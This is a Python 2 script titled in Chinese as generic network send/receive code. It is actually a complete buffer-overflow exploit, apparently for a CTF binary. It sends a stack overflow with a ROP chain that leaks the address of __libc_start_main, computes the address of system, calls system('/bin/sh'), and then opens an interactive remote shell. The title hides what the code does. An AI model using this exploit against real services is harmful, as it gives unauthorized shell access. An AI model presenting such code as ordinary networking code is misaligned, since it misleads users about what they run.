python 网络发送接收数据代码

#coding:utf-8

__author__  =  'Dazdingo'

  

from  socket  import  *

import  struct

import  time

import  threading

import  sys

  

is_recv  =  True

  

sock_host  =  '192.168.206.130'

sock_port  =  8080

  

S  =  socket(AF_INET, SOCK_STREAM)

  

def  send(ss, tail  =  ''):

   global  S

   if  tail:

     ss  + =  tail

   print  ss

   S.send(ss)

  

def  outputrecv():

   global  S

   while  1 :

     if  is_recv:

       i  =   S.recv( 1024 )

       if  i:

         sys.stdout.write(i)

  

def  start_recv():

   #start recv

   t  =  threading.Thread(target  =  outputrecv,  args  =  ())

   t.daemon  =  True

   t.start()

  

def  get_shell():

   #start recv

   start_recv()

  

   global  S

   while  1 :

     time.sleep( 0.1 )

     ss  =  raw_input ()  +  '\n'

     S.send(ss)

  

  

def  main():

   global  S

  

   if  len (sys.argv)  = =  3 :

     sock_host  =  sys.argv[ 1 ]

     sock_port  =  int (sys.argv[ 2 ])

  

   S.connect((sock_host, sock_port))

  

   a  =  raw_input ( 'pause' )

   print  S.recv( 1024 )

  

   send( 'syclover\x001111111\xf0' )

  

   print  S.recv( 1024 )

  

   ebp  =  '\x20\x99\x04\x08'

   libc  =  '\x5c\x98\x04\x08'  #__libc_start_main

   retaddr1  =  '\xa0\x83\x04\x08'  # write

   retaddr2  =  '\xbe\x85\x04\x08'  #pop;pop;pop;ret

   pop_ebp_ret  =  '\xc0\x85\x04\x08'

   retaddr3  =  '\x60\x83\x04\x08'  # read

   retaddr4  =  '\xd2\x85\x04\x08'  #leave ret

  

    send( 'A' * 0x9c  +  ebp  +  retaddr1  +  retaddr2  +  '\x01\x00\x00\x00'  +  libc  +   '\x04\x00\x00\x00'  + pop_ebp_ret  +  ebp  +  retaddr3  +  retaddr4  +   '\x00\x00\x00\x00'  +  '\x24\x99\x04\x08'  +  '\xf0\x00\x00\x00'  )

  

   time.sleep( 1 )

   l  =  S.recv( 1024 )

  

   libcaddr  =  struct.unpack( 'I' , l)[ 0 ]

   print  '__libc_start_main:' , hex (libcaddr)

   system  =  libcaddr  +  0x26050

  

   send(struct.pack( 'I' , system)  +  'AAAA' + '\x30\x99\x04\x08'  +  '/bin/sh\x00' )

  

   get_shell()

  

  

if  __name__  = =  '__main__' :

   main()